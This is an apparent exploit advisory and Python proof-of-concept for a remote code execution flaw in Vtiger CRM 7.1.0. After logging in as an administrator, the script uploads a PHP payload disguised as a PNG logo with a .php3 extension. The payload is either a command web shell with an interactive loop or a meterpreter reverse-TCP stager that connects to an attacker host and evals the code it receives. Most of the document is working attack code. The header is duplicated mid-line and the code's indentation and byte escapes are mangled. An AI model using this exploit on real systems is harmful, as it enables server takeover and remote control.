# Exploit Title: Vtiger CRM 7.1.0 - Remote Code Execution
# Date: 2018-12-27
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: http # Exploit Title: Vtiger CRM 7.1.0 - Remote Code Execution
# Date: 2018-12-27
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.vtiger.com
# Software Link: https://sourceforge.net/projects/vtigercrm/files/latest/download
# Version: v7.1.0
# Category: Webapps
# Tested on: XAMPP for Linux 5.6.38-0
# Software Description : Vtiger CRM enables sales, support, and marketing teams to
# organize and collaborate to measurably improve customer experiences and business outcomes.

# Description : This application has the vulnerability of uploading files with the extension "php3" in the logo upload field.
# But the uploaded file must be in PNG format and size 150X40.
# We can put PHP code into image source. After you make the extension "php3", the PHP code that we've placed can work.
# Therefore, PHP code can be executed using "<? ?>" Tags in PNG format file.
# ==================================================================
# I have exploited in 2 different ways.
# First one uploads a basic php shell for you and lets you control it through the console.
# Second one uploads the php meterpreter payload to the target site and lets you set this payload.

# PoC:

#!/usr/bin/python

import mechanize, sys, cookielib, requests
import colorama, urllib, re, random
from colorama import Fore

def bannerche():
print '''
@-------------------------------------------------------------@
| Vtiger CRM 7.1.0 - Remote Code Execution Exploit |
| Vulnerability discovered by AkkuS |
| My Blog - https://pentest.com.tr |
@-------------------------------------------------------------@
'''
bannerche()

if (len(sys.argv) != 2):
print "[*] Usage: poc.py <RHOST>"
exit(0)

rhost = sys.argv[1]
UserName = str(raw_input("User Name: ")) # Administrator Username Input
Password = str(raw_input("Password: ")) # Administrator Password Input

print(Fore.BLUE + "+ [*] Loging in...")
br = mechanize.Browser() # set cookies
br.set_handle_robots(False)
cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)

br.open("http://"+rhost+"/") # User Access Login
assert br.viewing_html()
br.select_form(nr=0)
br.form['username'] = UserName
br.form['password'] = Password
br.submit()

title = br.title()
if title == "Dashboard": # Access control
print (Fore.YELLOW + "+ [*] You're in "+title+" section of the app now")
print (Fore.GREEN + "+ [*] Login successful")
else:
print (Fore.RED + "+ [*] User information is incorrect.")
sys.exit()
##
# Introducing Cookie and CSRF token information
##
check = requests.get("http://"+rhost+"/index.php?module=Vtiger&parent=Settings&view=CompanyDetails&block=8&fieldid=14", cookies=cj)

doc = check.text

finder = re.findall(r'csrfMagicToken = ".*";', doc)
csrf = finder[0].replace('csrfMagicToken = ', '').replace('"','').replace(';var csrfMagicName = __vtrftk;','').strip()
csrf_to_data = str(csrf)
print(Fore.YELLOW + "+ [*] Token = " + csrf_to_data)

x = br._ua_handlers['_cookies'].cookiejar
c = str(x)

sonuc = re.findall(r"([a-fA-Fd]{32})", c)
g = sonuc[0]
v = str(g)
print (Fore.YELLOW + "+ [*] PHPSESSID = " + v)
##
# Random value fetching
##

boundary = ''.join(str(random.randint(0,9)) for _ in xrange(29))
filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php3"

##
# EXPLOIT
##
post_cookie = {"PHPSESSID": v}
post_headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=---------------------------"+boundary+""}
Basic_data = "-----------------------------"+boundary+" Content-Disposition: form-data; name="__vtrftk" "+csrf_to_data+" -----------------------------"+boundary+" Content-Disposition: form-data; name="module" Vtiger -----------------------------"+boundary+" Content-Disposition: form-data; name="parent" Settings -----------------------------"+boundary+" Content-Disposition: form-data; name="action" CompanyDetailsSave -----------------------------"+boundary+" Content-Disposition: form-data; name="logo"; filename=""+filename+"" Content-Type: image/png x89PNG x1a x00x00x00 IHDRx00x00x00 x00x00x00 x08x02x00x00x00xfcx18xedxa3x00x00x00 pHYsx00x00x0exc4x00x00x0exc4x01x95+x0ex1bx00x00x00`IDATHx89c\<?if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>Xx80x81x81xc1s^7x93xfcx8fx8bxdb~_xd3}xaa'xf7xf1xe3xc9xbf_xefx06|xb200cxd9xb9gxfdxd9=x1bxce2x8cx82Q0 Fxc1(x18x05xa3`x14x8cx82Q0 x86 x00x00x81xb2x1bx02x07x x0cx00x00x00x00IENDxaeB`x82 -----------------------------"+boundary+" Content-Disposition: form-data; name="organizationname" vtiger -----------------------------"+boundary+" Content-Disposition: form-data; name="address" 95, 12th Main Road, 3rd Block, Rajajinagar -----------------------------"+boundary+" Content-Disposition: form-data; name="city" Bangalore -----------------------------"+boundary+" Content-Disposition: form-data; name="state" Karnataka -----------------------------"+boundary+" Content-Disposition: form-data; name="code" 560010 -----------------------------"+boundary+" Content-Disposition: form-data; name="country" India -----------------------------"+boundary+" Content-Disposition: form-data; name="phone" +91 9243602352 -----------------------------"+boundary+" Content-Disposition: form-data; name="fax" +91 9243602352 -----------------------------"+boundary+" Content-Disposition: form-data; name="website" www.vtiger.com -----------------------------"+boundary+" Content-Disposition: form-data; name="vatid" -----------------------------"+boundary+"-- "

print (Fore.BLUE + "+ [*] Select shell type:")
print (Fore.YELLOW +"- [*] 1 - Basic Shell")
print ("- [*] 2 - Meterpreter Shell")
choose = int(raw_input("- [*] Enter a number (1 or 2) : "))

if choose == 1:
Basic = requests.post("http://"+rhost+"/index.php", headers=post_headers, cookies=post_cookie, data=Basic_data)
if Basic.status_code == 200:
print (Fore.GREEN + "+ [*] Shell successfully uploaded!")
print (Fore.GREEN + "+ [*] Shell Directory = http://"+rhost+"/test/logo/"+filename+"?cmd=[Command Here]")
while True:
shellctrl = requests.get("http://"+rhost+"/test/logo/"+filename+"")
if shellctrl.status_code == 200:
Command = str(raw_input(Fore.WHITE + "shell> "))
URL = requests.get("http://"+rhost+"/test/logo/"+filename+"?cmd="+Command+"")
print URL.text
else:
print (Fore.RED + "+ [X] Unable to upload or access the shell")
sys.exit()

elif choose == 2:
print("+ [*] In this option, you must listen to LHOST and LPORT with your Metasploit.")
print(Fore.RED + "+ [*] You should use the "+Fore.WHITE +"php/meterpreter/reverse_tcp"+Fore.RED +" payload")
print(Fore.YELLOW + "+ [*] Enter metasploit handler settings.")

lhost = str(raw_input(Fore.WHITE + "LHOST : "))
lport = str(raw_input(Fore.WHITE + "LPORT : "))

Meter_data = "-----------------------------"+boundary+" Content-Disposition: form-data; name="__vtrftk" "+csrf_to_data+" -----------------------------"+boundary+" Content-Disposition: form-data; name="module" Vtiger -----------------------------"+boundary+" Content-Disposition: form-data; name="parent" Settings -----------------------------"+boundary+" Content-Disposition: form-data; name="action" CompanyDetailsSave -----------------------------"+boundary+" Content-Disposition: form-data; name="logo"; filename=""+filename+"" Content-Type: image/png x89PNG x1a x00x00x00 IHDRx00x00x00 x00x00x00 x08x02x00x00x00xfcx18xedxa3x00x00x00 pHYsx00x00x0exc4x00x00x0exc4x01x95+x0ex1bx00x00x00`IDATHx89c\<?=error_reporting(0); $ip = '"+lhost+"'; $port = "+lport+"; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; eval($b); die();?>Xx80x81x81xc1s^7x93xfcx8fx8bxdb~_xd3}xaa'xf7xf1xe3xc9xbf_xefx06|xb200cxd9xb9gxfdxd9=x1bxce2x8cx82Q0 Fxc1(x18x05xa3`x14x8cx82Q0 x86 x00x00x81xb2x1bx02x07x x0cx00x00x00x00IENDxaeB`x82 -----------------------------"+boundary+" Content-Disposition: form-data; name="organizationname" vtiger -----------------------------"+boundary+" Content-Disposition: form-data; name="address" 95, 12th Main Road, 3rd Block, Rajajinagar -----------------------------"+boundary+" Content-Disposition: form-data; name="city" Bangalore -----------------------------"+boundary+" Content-Disposition: form-data; name="state" Karnataka -----------------------------"+boundary+" Content-Disposition: form-data; name="code" 560010 -----------------------------"+boundary+" Content-Disposition: form-data; name="country" India -----------------------------"+boundary+" Content-Disposition: form-data; name="phone" +91 9243602352 -----------------------------"+boundary+" Content-Disposition: form-data; name="fax" +91 9243602352 -----------------------------"+boundary+" Content-Disposition: form-data; name="website" www.vtiger.com -----------------------------"+boundary+" Content-Disposition: form-data; name="vatid" -----------------------------"+boundary+"-- "

Basic = requests.post("http://"+rhost+"/index.php", headers=post_headers, cookies=post_cookie, data=Meter_data)
while True:
payload = requests.get("http://"+rhost+"/test/logo/"+filename+"")
print("+ [*] Check your Metasploit Framework console")
if payload.status_code == 200:
print (Fore.GREEN + "+ [*] Payload uploaded and executed!")

else:
print (Fore.RED + "+ [X] Unable to upload and run the payload")
sys.exit()
else:
print("Invalid input!")
# end